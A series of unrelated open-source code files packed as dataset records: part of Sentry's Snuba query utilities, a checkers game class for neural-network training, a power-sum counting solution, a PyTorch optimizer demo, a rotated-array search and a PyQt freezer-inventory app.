column, alias) tuples to be\n passed to the query.\n\n The rest of the args are passed directly into the query JSON unmodified.\n See the snuba schema for details.\n \"\"\"\n\n def __init__(\n self,\n dataset=None,\n start=None,\n end=None,\n groupby=None,\n conditions=None,\n filter_keys=None,\n aggregations=None,\n rollup=None,\n referrer=None,\n is_grouprelease=False,\n **kwargs\n ):\n # TODO: instead of having events be the default, make dataset required.\n self.dataset = dataset or Dataset.Events\n self.start = start or datetime.utcfromtimestamp(0) # will be clamped to project retention\n self.end = end or datetime.utcnow() + timedelta(seconds=1)\n self.groupby = groupby or []\n self.conditions = conditions or []\n self.aggregations = aggregations or []\n self.filter_keys = filter_keys or {}\n self.rollup = rollup\n self.referrer = referrer\n self.is_grouprelease = is_grouprelease\n self.kwargs = kwargs\n\n\ndef raw_query(\n dataset=None,\n start=None,\n end=None,\n groupby=None,\n conditions=None,\n filter_keys=None,\n aggregations=None,\n rollup=None,\n referrer=None,\n is_grouprelease=False,\n **kwargs\n):\n \"\"\"\n Sends a query to snuba. See `SnubaQueryParams` docstring for param\n descriptions.\n \"\"\"\n snuba_params = SnubaQueryParams(\n dataset=dataset,\n start=start,\n end=end,\n groupby=groupby,\n conditions=conditions,\n filter_keys=filter_keys,\n aggregations=aggregations,\n rollup=rollup,\n is_grouprelease=is_grouprelease,\n **kwargs\n )\n return bulk_raw_query([snuba_params], referrer=referrer)[0]\n\n\ndef bulk_raw_query(snuba_param_list, referrer=None):\n headers = {}\n if referrer:\n headers[\"referer\"] = referrer\n\n query_param_list = map(_prepare_query_params, snuba_param_list)\n\n def snuba_query(params):\n query_params, forward, reverse = params\n try:\n with timer(\"snuba_query\"):\n body = json.dumps(query_params)\n with sentry_sdk.start_span(\n op=\"snuba\", description=u\"query {}\".format(body)\n ) as span:\n span.set_tag(\"referrer\", headers.get(\"referer\", \"\"))\n return (\n _snuba_pool.urlopen(\"POST\", \"/query\", body=body, headers=headers),\n forward,\n reverse,\n )\n except urllib3.exceptions.HTTPError as err:\n raise SnubaError(err)\n\n if len(snuba_param_list) > 1:\n query_results = _query_thread_pool.map(snuba_query, query_param_list)\n else:\n # No need to submit to the thread pool if we're just performing a\n # single query\n query_results = [snuba_query(query_param_list[0])]\n\n results = []\n for response, _, reverse in query_results:\n try:\n body = json.loads(response.data)\n except ValueError:\n raise UnexpectedResponseError(\n u\"Could not decode JSON response: {}\".format(response.data)\n )\n\n if response.status != 200:\n if body.get(\"error\"):\n error = body[\"error\"]\n if response.status == 429:\n raise RateLimitExceeded(error[\"message\"])\n elif error[\"type\"] == \"schema\":\n raise SchemaValidationError(error[\"message\"])\n elif error[\"type\"] == \"clickhouse\":\n raise clickhouse_error_codes_map.get(error[\"code\"], QueryExecutionError)(\n error[\"message\"]\n )\n else:\n raise SnubaError(error[\"message\"])\n else:\n raise SnubaError(u\"HTTP {}\".format(response.status))\n\n # Forward and reverse translation maps from model ids to snuba keys, per column\n body[\"data\"] = [reverse(d) for d in body[\"data\"]]\n results.append(body)\n\n return results\n\n\ndef query(\n dataset=None,\n start=None,\n end=None,\n groupby=None,\n conditions=None,\n filter_keys=None,\n aggregations=None,\n selected_columns=None,\n totals=None,\n **kwargs\n):\n\n aggregations = aggregations or [[\"count()\", \"\", \"aggregate\"]]\n filter_keys = filter_keys or {}\n selected_columns = selected_columns or []\n groupby = groupby or []\n\n try:\n body = raw_query(\n dataset=dataset,\n start=start,\n end=end,\n groupby=groupby,\n conditions=conditions,\n filter_keys=filter_keys,\n aggregations=aggregations,\n selected_columns=selected_columns,\n totals=totals,\n **kwargs\n )\n except (QueryOutsideRetentionError, QueryOutsideGroupActivityError):\n if totals:\n return OrderedDict(), {}\n else:\n return OrderedDict()\n\n # Validate and scrub response, and translate snuba keys back to IDs\n aggregate_names = [a[2] for a in aggregations]\n selected_names = [c[2] if isinstance(c, (list, tuple)) else c for c in selected_columns]\n expected_cols = set(groupby + aggregate_names + selected_names)\n got_cols = set(c[\"name\"] for c in body[\"meta\"])\n\n assert expected_cols == got_cols, \"expected {}, got {}\".format(expected_cols, got_cols)\n\n with timer(\"process_result\"):\n if totals:\n return (\n nest_groups(body[\"data\"], groupby, aggregate_names + selected_names),\n body[\"totals\"],\n )\n else:\n return nest_groups(body[\"data\"], groupby, aggregate_names + selected_names)\n\n\ndef nest_groups(data, groups, aggregate_cols):\n \"\"\"\n Build a nested mapping from query response rows. Each group column\n gives a new level of nesting and the leaf result is the aggregate\n \"\"\"\n if not groups:\n # At leaf level, just return the aggregations from the first data row\n if len(aggregate_cols) == 1:\n # Special case, if there is only one aggregate, just return the raw value\n return data[0][aggregate_cols[0]] if data else None\n else:\n return {c: data[0][c] for c in aggregate_cols} if data else None\n else:\n g, rest = groups[0], groups[1:]\n inter = OrderedDict()\n for d in data:\n inter.setdefault(d[g], []).append(d)\n return OrderedDict(\n (k, nest_groups(v, rest, aggregate_cols)) for k, v in six.iteritems(inter)\n )\n\n\ndef resolve_column(col, dataset):\n if col.startswith(\"tags[\"):\n return col\n\n if not col or QUOTED_LITERAL_RE.match(col):\n return col\n if col in DATASETS[dataset]:\n return DATASETS[dataset][col]\n if col in DATASET_FIELDS[dataset]:\n return col\n\n return u\"tags[{}]\".format(col)\n\n\ndef resolve_condition(cond, column_resolver):\n \"\"\"\n When conditions have been parsed by the api.event_search module\n we can end up with conditions that are not valid on the current dataset\n due to how ap.event_search checks for valid field names without\n being aware of the dataset.\n\n We have the dataset context here, so we need to re-scope conditions to the\n current dataset.\n\n cond (tuple) Condition to resolve aliases in.\n column_resolver (Function[string]) Function to resolve column names for the\n current dataset.\n \"\"\"\n index = get_function_index(cond)\n if index is not None:\n # IN conditions are detected as a function but aren't really.\n if cond[index] == \"IN\":\n cond[0] = column_resolver(cond[0])\n return cond\n\n func_args = cond[index + 1]\n for (i, arg) in enumerate(func_args):\n # Nested function\n if isinstance(arg, (list, tuple)):\n func_args[i] = resolve_condition(arg, column_resolver)\n else:\n func_args[i] = column_resolver(arg)\n cond[index + 1] = func_args\n return cond\n\n # No function name found\n if isinstance(cond, (list, tuple)) and len(cond):\n # Condition is [col, operator, value]\n if isinstance(cond[0], six.string_types) and len(cond) == 3:\n cond[0] = column_resolver(cond[0])\n return cond\n if isinstance(cond[0], (list, tuple)):\n if get_function_index(cond[0]) is not None:\n cond[0] = resolve_condition(cond[0], column_resolver)\n return cond\n else:\n # Nested conditions\n return [resolve_condition(item, column_resolver) for item in cond]\n raise ValueError(\"Unexpected condition format %s\" % cond)\n\n\ndef aliased_query(\n start=None,\n end=None,\n groupby=None,\n conditions=None,\n filter_keys=None,\n aggregations=None,\n selected_columns=None,\n arrayjoin=None,\n having=None,\n dataset=None,\n orderby=None,\n **kwargs\n):\n \"\"\"\n Wrapper around raw_query that selects the dataset based on the\n selected_columns, conditions and groupby parameters.\n Useful for taking arbitrary end user queries and running\n them on one of the snuba datasets.\n\n This function will also resolve column aliases to match the selected dataset\n\n This method should be used sparingly. Instead prefer to use sentry.eventstore\n sentry.tagstore, or sentry.snuba.discover instead when reading data.\n \"\"\"\n if dataset is None:\n raise ValueError(\"A dataset is required, and is no longer automatically detected.\")\n\n derived_columns = []\n if selected_columns:\n for (i, col) in enumerate(selected_columns):\n if isinstance(col, (list, tuple)):\n derived_columns.append(col[2])\n else:\n selected_columns[i] = resolve_column(col, dataset)\n selected_columns = [c for c in selected_columns if c]\n\n if aggregations:\n for aggregation in aggregations:\n derived_columns.append(aggregation[2])\n\n if conditions:\n column_resolver = functools.partial(resolve_column, dataset=dataset)\n for (i, condition) in enumerate(conditions):\n replacement = resolve_condition(condition, column_resolver)\n conditions[i] = replacement\n conditions = [c for c in conditions if c]\n\n if orderby:\n # Don't mutate in case we have a default order passed.\n updated_order = []\n for (i, order) in enumerate(orderby):\n order_field = order.lstrip(\"-\")\n if order_field not in derived_columns:\n order_field = resolve_column(order_field, dataset)\n updated_order.append(u\"{}{}\".format(\"-\" if order.startswith(\"-\") else \"\", order_field))\n orderby = updated_order\n\n return raw_query(\n start=start,\n end=end,\n groupby=groupby,\n conditions=conditions,\n aggregations=aggregations,\n selected_columns=selected_columns,\n filter_keys=filter_keys,\n arrayjoin=arrayjoin,\n having=having,\n dataset=dataset,\n orderby=orderby,\n **kwargs\n )\n\n\nJSON_TYPE_MAP = {\n \"UInt8\": \"boolean\",\n \"UInt16\": \"integer\",\n \"UInt32\": \"integer\",\n \"UInt64\": \"integer\",\n \"Float32\": \"number\",\n \"Float64\": \"number\",\n \"DateTime\": \"date\",\n}\n\n\ndef get_json_type(snuba_type):\n \"\"\"\n Convert Snuba/Clickhouse type to JSON type\n Default is string\n \"\"\"\n # Ignore Nullable part\n nullable_match = re.search(r\"^Nullable\\((.+)\\)$\", snuba_type)\n\n if nullable_match:\n snuba_type = nullable_match.group(1)\n\n # Check for array\n array_match = re.search(r\"^Array\\(.+\\)$\", snuba_type)\n if array_match:\n return \"array\"\n\n return JSON_TYPE_MAP.get(snuba_type, \"string\")\n\n\n# The following are functions for resolving information from sentry models\n# about projects, environments, and issues (groups). Having this snuba\n# implementation have to know about these relationships is not ideal, and\n# many of these relationships (eg environment id->name) will have already\n# been queried and exist somewhere in the call stack, but for now, lookup\n# is implemented here for simplicity.\n\n\ndef get_snuba_translators(filter_keys, is_grouprelease=False):\n \"\"\"\n Some models are stored differently in snuba, eg. as the environment\n name instead of the the environment ID. Here we create and return forward()\n and reverse() translation functions that perform all the required changes.\n\n forward() is designed to work on the filter_keys and so should be called\n with a map of {column: [key1, key2], ...} and should return an updated map\n with the filter keys replaced with the ones that Snuba expects.\n\n reverse() is designed to work on result rows, so should be called with a row\n in the form {column: value, ...} and will return a translated result row.\n\n Because translation can potentially rely on combinations of different parts\n of the result row, I decided to implement them as composable functions over the\n row to be translated. This should make it simpler to add any other needed\n translations as long as you can express them as forward(filters) and reverse(row)\n functions.\n \"\"\"\n\n # Helper lambdas to compose translator functions\n identity = lambda x: x\n compose = lambda f, g: lambda x: f(g(x))\n replace = lambda d, key, val: d.update({key: val}) or d\n\n forward = identity\n reverse = identity\n\n map_columns = {\n \"environment\": (Environment, \"name\", lambda name: None if name == \"\" else name),\n \"tags[sentry:release]\": (Release, \"version\", identity),\n \"release\": (Release, \"version\", identity),\n }\n\n for col, (model, field, fmt) in six.iteritems(map_columns):\n fwd, rev = None, None\n ids = filter_keys.get(col)\n if not ids:\n continue\n if is_grouprelease and col in (\"release\", \"tags[sentry:release]\"):\n # GroupRelease -> Release translation is a special case because the\n # translation relies on both the Group and Release value in the result row.\n #\n # We create a map of {grouprelease_id: (group_id, version), ...} and the corresponding\n # reverse map of {(group_id, version): grouprelease_id, ...}\n # NB this does depend on `issue` being defined in the query result, and the correct\n # set of issues being resolved, which is outside the control of this function.\n gr_map = GroupRelease.objects.filter(id__in=ids).values_list(\n \"id\", \"group_id\", \"release_id\"\n )\n ver = dict(\n Release.objects.filter(id__in=[x[2] for x in gr_map]).values_list(\"id\", \"version\")\n )\n fwd_map = {gr: (group, ver[release]) for (gr, group, release) in gr_map}\n rev_map = dict(reversed(t) for t in six.iteritems(fwd_map))\n fwd = (\n lambda col, trans: lambda filters: replace(\n filters, col, [trans[k][1] for k in filters[col]]\n )\n )(col, fwd_map)\n rev = (\n lambda col, trans: lambda row: replace(\n # The translate map may not have every combination of issue/release\n # returned by the query.\n row,\n col,\n trans.get((row[\"group_id\"], row[col])),\n )\n )(col, rev_map)\n\n else:\n fwd_map = {\n k: fmt(v) for k, v in model.objects.filter(id__in=ids).values_list(\"id\", field)\n }\n rev_map = dict(reversed(t) for t in six.iteritems(fwd_map))\n fwd = (\n lambda col, trans: lambda filters: replace(\n filters, col, [trans[k] for k in filters[col] if k]\n )\n )(col, fwd_map)\n rev = (\n lambda col, trans: lambda row: replace(row, col, trans[row[col]])\n if col in row\n else row\n )(col, rev_map)\n\n if fwd:\n forward = compose(forward, fwd)\n if rev:\n reverse = compose(reverse, rev)\n\n # Extra reverse translator for time column.\n reverse = compose(\n reverse,\n lambda row: replace(row, \"time\", int(to_timestamp(parse_datetime(row[\"time\"]))))\n if \"time\" in row\n else row,\n )\n # Extra reverse translator for bucketed_end column.\n reverse = compose(\n reverse,\n lambda row: replace(\n row, \"bucketed_end\", int(to_timestamp(parse_datetime(row[\"bucketed_end\"])))\n )\n if \"bucketed_end\" in row\n else row,\n )\n\n return (forward, reverse)\n\n\ndef get_related_project_ids(column, ids):\n \"\"\"\n Get the project_ids from a model that has a foreign key to project.\n \"\"\"\n mappings = {\n \"group_id\": (Group, \"id\", \"project_id\"),\n \"tags[sentry:release]\": (ReleaseProject, \"release_id\", \"project_id\"),\n \"release\": (ReleaseProject, \"release_id\", \"project_id\"),\n }\n if ids:\n if column == \"project_id\":\n return ids\n elif column in mappings:\n model, id_field, project_field = mappings[column]\n return model.objects.filter(\n **{id_field + \"__in\": ids, project_field + \"__isnull\": False}\n ).values_list(project_field, flat=True)\n return []\n\n\ndef shrink_time_window(issues, start):\n \"\"\"\\\n If a single issue is passed in, shrink the `start` parameter to be briefly before\n the `first_seen` in order to hopefully eliminate a large percentage of rows scanned.\n\n Note that we don't shrink `end` based on `last_seen` because that value is updated\n asynchronously by buffers, and will cause queries to skip recently seen data on\n stale groups.\n \"\"\"\n if issues and len(issues) == 1:\n try:\n group = Group.objects.get(pk=list(issues)[0])\n start = max(start, naiveify_datetime(group.first_seen) - timedelta(minutes=5))\n except Group.DoesNotExist:\n return start\n\n return start\n\n\ndef naiveify_datetime(dt):\n return dt if not dt.tzinfo else dt.astimezone(pytz.utc).replace(tzinfo=None)\n","repo_name":"lizardkinggg/sentry-cicd","sub_path":"src/sentry/utils/snuba.py","file_name":"snuba.py","file_ext":"py","file_size_in_byte":33398,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"22"} +{"seq_id":"2696273403","text":"import numpy as np\nfrom Board import Board\n\n# Game class manages all game mechanics. The main program creates a new game,\n# assigns players to the game (which have already been given models), and issues the\n# play_game command to play a game. The game then returns all relevant data\n# from the game once it's complete.\n\nclass Game:\n\n\tdef __init__(self, red_player, black_player, jump_rule, number):\n\t\tself.board = Board() # create a new board for the game. Internal representation of the board state.\n\t\tself.board.setup() # set up the board with pieces in starting formation\n\t\tself.red_player = red_player # assign the red player\n\t\tself.black_player = black_player # assign the black player\n\t\tself.jump_rule = jump_rule # are available jumps mandatory to make?\n\t\tself.number = number\n\t\tself.attempts = 0\n\t\tself.moves = 0\n\n\tdef start(self):\n\t\t\"\"\"\n\t\tPlay a single game of checkers. Return the following parameters:\n\t\twin -- True if game was won, False if stalemate\n\t\tside -- color of player that won the game\n\t\tself.board.piece_count(\"Red\") -- number of pieces left on the red side\n\t\tself.board.piece_count(\"Black\") -- number of pieces left on the black side\n\t\tself.red_player.move_count -- number of red\n\t\t\"\"\"\n\t\t#game_history = open('game_history.txt','w')\n\t\tself.red_attempts = 0\n\t\tself.red_moves = 0\n\t\tself.black_attempts = 0\n\t\tself.black_moves = 0\n\t\tself.stalemate = False\n\t\tself.win = False\n\t\tself.jump_piece_number = None\n\t\tif np.random.uniform(0, 1) >= .5:\n\t\t\tself.player = self.red_player\n\t\telse:\n\t\t\tself.player = self.black_player\n\n\t\treturn self.player.color\n\n\tdef update_attempts_and_moves(self, attempts, color):\n\t\tif color == \"Red\":\n\t\t\tself.red_attempts += attempts\n\t\t\tself.red_moves += 1\n\t\telse:\n\t\t\tself.black_attempts += attempts\n\t\t\tself.black_moves += 1\n\n\tdef player_color(self):\n\t\treturn self.player.color\n\n\tdef other_player_color(self):\n\t\treturn self.player.other_color\n\n\tdef make_move(self, move, piece_number):\n\t\tboard_move = np.zeros((48), dtype = 'int') # create output vector placeholder with zeros\n\t\t# move, piece_number = self.player.make_move(self.board, jump_piece_number = self.jump_piece_number, jump_rule = self.jump_rule) # get a move from the player\n\t\tboard_legal_moves = self.board.legal_moves(color = self.player.color, jump_piece_number = self.jump_piece_number, jump_rule = self.jump_rule) # get legal moves from the board\n\t\tif np.max(move) != 0:\n\t\t\tboard_move[(piece_number * 4):((piece_number * 4) + 4)] = move # insert a 4 element vector of the moves for the chosen piece into the correct spot in the board move vector\n\t\t\tmove_array = board_legal_moves * board_move # generate an array that masks the board move with legal moves to determine whether the move is legal\n\t\t\twhile np.count_nonzero(move_array) == 0: # if there are all zeros, it's not legal\n\t\t\t\tprint(\"Checkers proposed illegal move!!\")\n\t\t\t\tboard_move = np.zeros((48), dtype = 'int')\n\t\t\t\t# move, piece_number = self.player.make_move(self.board, jump_piece_number = self.jump_piece_number, jump_rule = self.jump_rule)\n\t\t\t\tboard_move[(piece_number * 4):((piece_number * 4) + 4)] = move\n\t\t\t\tmove_array = board_legal_moves * board_move\n\t\t\tself.board.move_piece(self.player.color, piece_number, np.argmax(move)) # move the piece on the board\n\t\t\tself.player.increment_move_count()\n\t\t\t#game_history.write(self.board.visual_state())\n\t\t\tif np.max(move_array) == 2: # it was a jump\n\t\t\t\tcount = self.board.piece_count(color = self.player.other_color) # get the number of opposing pieces that are still left on the board\n\t\t\t\tif count == 0: # that was the last piece\n\t\t\t\t\tself.win = True\n\t\t\t\t\tself.side = self.player.color\n\t\t\t\telse: # it wasn't the last piece\n\t\t\t\t\tif np.max(self.board.legal_piece_moves(color = self.player.color, piece_number = piece_number).flatten()) == 2:\n\t\t\t\t\t\tself.jump_piece_number = piece_number\n\t\t\t\t\telse:\n\t\t\t\t\t\tself.jump_piece_number = None\n\t\t\t\t\t\tif self.player == self.red_player:\n\t\t\t\t\t\t\tself.player = self.black_player\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tself.player = self.red_player\n\t\t\t\t\tboard_legal_moves = self.board.legal_moves(color = self.player.color, jump_piece_number = self.jump_piece_number, jump_rule = self.jump_rule)\n\t\t\t\t\tif np.max(board_legal_moves) == 0:\n\t\t\t\t\t\tself.win = True\n\t\t\t\t\t\tself.side = self.player.other_color\n\t\t\telse:\n\t\t\t\tself.jump_piece_number = None\n\t\t\t\tif self.player == self.red_player:\n\t\t\t\t\tself.player = self.black_player\n\t\t\t\telse:\n\t\t\t\t\tself.player = self.red_player\n\t\t\t\tboard_legal_moves = self.board.legal_moves(color = self.player.color, jump_piece_number = self.jump_piece_number, jump_rule = self.jump_rule)\n\t\t\t\tif np.max(board_legal_moves) == 0:\n\t\t\t\t\tself.win = True\n\t\t\t\t\tself.side = self.player.other_color\n\t\telse:\n\t\t\tself.win = True\n\t\t\tself.side = self.player.other_color\n\t\t#game_history.close()\n\n\t\treturn self.win, self.stalemate\n\n\tdef other_player_count(self):\n\t\treturn self.board.piece_count(color = self.player.other_color)\n\n\tdef player_count(self):\n\t\treturn self.board.piece_count(color = self.player.color)\n\n\tdef stats(self):\n\n\t\treturn self.win, self.side, self.board.piece_count(\"Red\"), self.board.piece_count(\"Black\"), self.red_player.move_count, self.black_player.move_count, self.red_player.illegal_move_count, self.black_player.illegal_move_count\n\t\t\t\t\n\tdef generate_X_Y_mask(self):\n\t\tX = self.player.model.get_input_vector(self.board, self.player.color, jump_piece_number = self.jump_piece_number)\n\t\tboard_legal_moves = self.board.legal_moves(color = self.player.color, jump_piece_number = self.jump_piece_number, jump_rule = self.jump_rule) # get legal moves (48,) for current board position (0: illegal, 1:legal, 2:jump-legal)\n\t\tillegal_mask = np.zeros((48)) # create a holder (48,) for the illegal mask (starting filled with zeros)\n\t\tillegal_mask[board_legal_moves != 0] = 1 # ones for anything that's legal\n\t\tS = np.sum(illegal_mask, axis = 0) # sum of total legal moves\n\t\tif S == 0:\n\t\t\tS = 1\n\t\t# This seems to be forcing a 1 for the sum when there are no legal moves.\n\t\t# But in the fullness of time I'm not sure why a situation with no legal moves would\n\t\t# ever make it into the training set.\n\t\tY = illegal_mask / (S) # divide each move mask vector by S to get a unit normal label\n\n\t\treturn X, Y, illegal_mask\n\n\n\tdef static_playtest(self):\n\t\tself.board.visual_state()\n\t\t#print(self.board.red_numbers\n\n\t\tself.board.move_piece(\"Red\", 10, 1)\n\n\t\tself.board.visual_state()\n\t\t#print(self.board.red_numbers\n\n\t\tself.board.move_piece(\"Black\", 8, 1)\n\n\t\tself.board.visual_state()\n\t\t#print(self.board.red_numbers\n\n\t\tself.board.move_piece(\"Red\", 10, 1)\n\n\t\tself.board.visual_state()\n\t\t#print(self.board.red_numbers\n\n\t\tself.board.move_piece(\"Black\", 9, 0)\n\n\t\tself.board.visual_state()\n\t\t#print(self.board.red_numbers\n\n\t\tself.board.move_piece(\"Black\", 9, 0)\n\n\t\tself.board.visual_state()\n\t\t#print(self.board.red_numbers\n\n\t\tself.board.move_piece(\"Black\", 4, 1)\n\n\t\tself.board.visual_state()\n\t\t#print(self.board.red_numbers\n\n\t\tself.board.move_piece(\"Black\", 4, 0)\n\n\t\tself.board.visual_state()\n\t\t#print(self.board.red_numbers\n\n\t\tself.board.move_piece(\"Black\", 1, 0)\n\n\t\tself.board.visual_state()\n\t\t#print(self.board.red_numbers\n\n\t\tself.board.move_piece(\"Black\", 1, 1)\n\n\t\tself.board.visual_state()\n\t\t#print(self.board.red_numbers\n\n\t\tself.board.move_piece(\"Red\", 10, 0)\n\n\t\tself.board.visual_state()\n\t\t#print(self.board.red_numbers\n\n\t\tself.board.move_piece(\"Red\", 10, 0)\n\n\t\tself.board.visual_state()\n\t\t#print(self.board.red_numbers\n\n\t\tself.board.move_piece(\"Red\", 10, 3)\n\n\t\tself.board.visual_state()\n\t\t#print(self.board.red_numbers\n\n\t\tself.board.move_piece(\"Red\", 10, 2)\n\n\t\tself.board.visual_state()\n\t\t#print(self.board.red_numbers\n\n\t\tself.board.move_piece(\"Red\", 10, 0)\n\n\t\tself.board.visual_state()\n\t\t#print(self.board.red_numbers\n\n\t\tself.board.move_piece(\"Red\", 11, 0)\n\n\t\tself.board.visual_state()\n\t\t#print(self.board.red_numbers\n\n\t\tself.board.move_piece(\"Red\", 6, 0)\n\n\t\tself.board.visual_state()\n\t\t#print(self.board.red_numbers\n\n\t\tself.board.move_piece(\"Red\", 6, 0)\n\n\t\tself.board.visual_state()\n\t\t#print(self.board.red_numbers\n\n\t\tself.board.move_piece(\"Red\", 2, 1)\n\n\t\tself.board.visual_state()\n\t\t#print(self.board.red_numbers\n\n\t\tself.board.move_piece(\"Red\", 2, 0)\n\n\t\tself.board.visual_state()\n\t\t#print(self.board.red_numbers\n\n\t\tself.board.move_piece(\"Black\", 9, 1)\n\n\t\tself.board.visual_state()\n\t\t#print(self.board.red_numbers\n\n\t\tself.board.move_piece(\"Black\", 9, 1)\n\n\t\tself.board.visual_state()\n\t\t#print(self.board.red_numbers\n\n\t\tself.board.move_piece(\"Black\", 9, 1)\n\n\t\tself.board.visual_state()\n\t\t#print(self.board.red_numbers\n\n\t\tself.board.move_piece(\"Red\", 6, 0)\n\n\t\tself.board.visual_state()\n\t\t#print(self.board.red_numbers\n\n\t\tself.board.move_piece(\"Black\", 9, 2)\n\n\t\tself.board.visual_state()\n\t\t#print(self.board.red_numbers\n\n\t\tself.board.move_piece(\"Black\", 9, 3)\n\n\t\tself.board.visual_state()\n\t\t#print(self.board.red_numbers\n\n\t\tself.board.move_piece(\"Black\", 9, 2)\n\n\t\tself.board.visual_state()\n\t\t#print(self.board.red_numbers\n\n\t\tfor p in self.board.red_piece:\n\t\t\tprint(p.color, p.number, p.number_one_hot(), p.in_play)\n\n\t\tfor p in self.board.black_piece:\n\t\t\tprint(p.color, p.number, p.number_one_hot(), p.in_play)\n\n\n\t\tprint(self.board.red_state())\n\t\tprint(self.board.black_home_view())\n\t\tprint(self.board.red_home_view())\n\n\tdef first_moves(self):\n\t\tprint(self.board.red_numbers)\n\t\tprint(self.board.black_numbers)\n\t\tself.board.visual_state()\n\t\t#print(self.board.red_numbers\n\n\t\tself.board.move_piece(\"Red\", 10, 1)\n\n\t\tself.board.visual_state()\n\t\t#print(self.board.red_numbers\n\n\t\tself.board.move_piece(\"Black\", 8, 1)\n\n\t\tself.board.visual_state()\n\n\t\tprint(self.board.red_state())\n\t\tprint(self.board.black_home_view())\n\t\tprint(self.board.red_home_view())\n\t\tprint(self.board.red_numbers)\n\t\tprint(self.board.black_numbers)\n\n","repo_name":"tobogranyte/AI-Checkers","sub_path":"Game.py","file_name":"Game.py","file_ext":"py","file_size_in_byte":9656,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"} +{"seq_id":"28359293214","text":"# User function Template for python3\nclass Solution:\n def numOfWays(self, n, x):\n # code here\n M = int(1e9) + 7\n p = []\n i = 1\n while True:\n if pow(i, x) <= n:\n p.append(pow(i, x))\n i += 1\n else:\n break\n\n dp = [0] * (n + 1)\n dp[0] = 1\n for a in p:\n for i in range(n, -1, -1):\n if i - a >= 0:\n dp[i] = (dp[i - a] + dp[i]) % M\n\n return dp[n]\n\n\n# {\n# Driver Code Starts\n# Initial Template for Python 3\nif __name__ == \"__main__\":\n T = int(input())\n for i in range(T):\n n, x = input().split()\n n = int(n)\n x = int(x)\n ob = Solution()\n print(ob.numOfWays(n, x))\n\n# } Driver Code Ends\n","repo_name":"huggin/gfg","sub_path":"dp/express_sum_power_natural_numbers.py","file_name":"express_sum_power_natural_numbers.py","file_ext":"py","file_size_in_byte":797,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"} +{"seq_id":"8774438777","text":"#! /usr/bin/env python\n# -*- coding:utf-8 -*-\n\n\"\"\"\n-------------------------------------\nFile name: PyEg07_optim.py\nAuthor: Ruonan Yu\nDate: 18-2-1 \n-------------------------------------\n\"\"\"\nimport torch\nfrom torch.autograd import Variable\n\nN = 64\nD_in = 1000\nD_out = 10\nH = 100\nLR = 1e-6\nEPOCH = 500\n\nx = Variable(torch.randn(N, D_in))\ny = Variable(torch.randn(N, D_out))\n\nmodel = torch.nn.Sequential(\n torch.nn.Linear(D_in, H),\n torch.nn.ReLU(),\n torch.nn.Linear(H, D_out)\n)\nloss_fn = torch.nn.MSELoss(size_average=False)\n\noptimizer = torch.optim.Adam(model.parameters(), lr=LR)\nfor epoch in range(EPOCH):\n y_pred = model(x)\n loss = loss_fn(y_pred, y)\n print('Epoch:', epoch,\n '| Loss:', loss.data[0])\n\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n","repo_name":"ANRhine/PyTorch_Tutorial","sub_path":"PyTorch/PyEg07_optim.py","file_name":"PyEg07_optim.py","file_ext":"py","file_size_in_byte":821,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"} +{"seq_id":"21398162150","text":"def findLargest(L):\n left = 0\n s = len(L)\n right = s-1 \n if (s==1):\n return L[0]\n while (left<=right):\n mid=(left+right)//2\n if (mid == s-1):\n nextToMid = 0\n else:\n nextToMid = mid+1\n if (L[mid] > L[nextToMid]):\n return L[mid]\n elif (L[mid] < L[0]):\n right = mid-1\n else:\n left = mid+1\n","repo_name":"adityajai25/PDSA","sub_path":"largest.py","file_name":"largest.py","file_ext":"py","file_size_in_byte":338,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"} +{"seq_id":"29130107335","text":"# This Python file uses the following encoding: utf-8\nimport sys\nfrom PyQt5.QtGui import QIcon, QKeySequence\nfrom InFunks import * \nfrom PyQt5.QtWidgets import QApplication, QWidget, QMessageBox, QShortcut\nfrom PyQt5 import uic\nfrom PyQt5 import *\nfrom alwaysInFreezerListFunks import openeditor\nfrom product_detection import *\nfrom searchFunks import *\n\ndef areAllFilesReady(): # проверяет все ли нужные файлы присутствуют\n thisdir = \"./\"\n if not (\"IMG\" in os.listdir(thisdir)):\n return False\n elif not (\"NoPhoto.png\" in os.listdir(os.path.join(thisdir, \"IMG\"))):\n return False\n elif not (\"infreezerIMG\" in os.listdir(thisdir)):\n return False\n elif not (\"form.ui\" in os.listdir(thisdir)):\n return False\n elif not (\"listedit.ui\" in os.listdir(thisdir)):\n return False\n elif not (\"freezer.db\" in os.listdir(thisdir)):\n return False\n elif not (\"alwaysinfreezerlist.csv\" in os.listdir(thisdir)):\n return False\n elif not (\"searchFunks.py\" in os.listdir(thisdir)):\n return False\n elif not (\"product_detection.py\" in os.listdir(thisdir)):\n return False\n elif not (\"InFunks.py\" in os.listdir(thisdir)):\n return False\n elif not (\"alwaysInFreezerListFunks.py\" in os.listdir(thisdir)):\n return False\n else:\n try:\n getMaxInAllFolders(os.path.join(thisdir, \"IMG\", \"NoPhoto.png\"))\n except ValueError:\n return False\n return True\n\n\nclass Widget(QWidget):\n def __init__(self):\n restartdb() # перезагружаем бд\n super(Widget, self).__init__()\n uic.loadUi(\"form.ui\", self)\n self.reload.setIcon(QIcon(\"./IMG/reload.svg\")) # ставим иконку кнопке перезагрузки\n self.reload.clicked.connect(reloadfunk(self, self.inFreezerLayout,\n self.listtobuylayout)) # перезагружаем при нажатии\n self.edit.clicked.connect(openeditor)\n self.searchButton.clicked.connect(lambda: addAllToSearchResultsList(self,\n self.searchlayout, self.searchEditLine.text())) # ищем при нажатии кнопки поиска\n addAllToFreezer(self, self.inFreezerLayout, self.listtobuylayout) # добавляет все продукты в бд и приложение\n self.reload_hotkew = QShortcut(QKeySequence('Ctrl+R'), self) # перезагрузка по горячим клавишам\n self.reload_hotkew.activated.connect(reloadfunk(self,\n self.inFreezerLayout, self.listtobuylayout))\n\n\nif __name__ == \"__main__\":\n if areAllFilesReady(): # если все файлы нам месте, то запускает программу, иначе - выдает ошибку\n app = QApplication(sys.argv)\n widget = Widget()\n widget.show()\n sys.exit(app.exec_())\n else:\n app = QApplication(sys.argv)\n msg = QMessageBox()\n msg.setIcon(QMessageBox.Critical)\n msg.setText(\"Ошибка\")\n msg.setInformativeText('Есть недостоющие файлы. переустановите программу.')\n 